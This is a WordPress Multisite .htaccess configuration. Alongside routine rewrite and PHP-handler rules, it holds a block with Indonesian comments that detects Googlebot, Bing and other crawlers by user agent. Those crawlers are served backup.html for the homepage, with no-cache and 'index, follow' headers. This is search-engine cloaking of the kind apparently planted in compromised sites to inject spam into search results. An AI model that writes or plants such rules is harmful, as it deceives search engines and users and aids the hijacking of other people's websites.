RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]

# --- BOT SHORT-CIRCUIT (PASTI DI PALING ATAS) ---
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (Google-InspectionTool|Googlebot|AdsBot-Google|Mediapartners-Google|bingbot|BingPreview) [NC]
RewriteCond %{REQUEST_URI} ^/$ [NC]
RewriteRule ^$ backup.html [L]

<IfModule mod_headers.c>
Header set Cache-Control "no-store, no-cache, must-revalidate, max-age=0"
Header set Pragma "no-cache"
Header set X-Robots-Tag "index, follow"
Header set Vary "User-Agent"
</IfModule>
# --- END BOT SHORT-CIRCUIT ---

# (Opsional) Force PHP handler jika perlu, pilih satu yang cocok hosting
# AddHandler application/x-httpd-php80 .php
# RemoveType .php

# add a trailing slash to /wp-admin
RewriteRule ^([_0-9a-zA-Z-]+/)?wp-admin$ $1wp-admin/ [R=301,L]

RewriteCond %{REQUEST_FILENAME} -f [OR]
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule ^ - [L]
RewriteRule ^([_0-9a-zA-Z-]+/)?(wp-(content|admin|includes).*) $2 [L]
RewriteRule ^([_0-9a-zA-Z-]+/)?(.*\.php)$ $2 [L]
RewriteRule . index.php [L]

# END WordPress Multisite

# php -- BEGIN cPanel-generated handler, do not edit
# Set the “ea-php74” package as the default “PHP” programming language.
<IfModule mime_module>
  AddHandler application/x-httpd-ea-php74 .php .php7 .phtml
</IfModule>
# php -- END cPanel-generated handler, do not edit
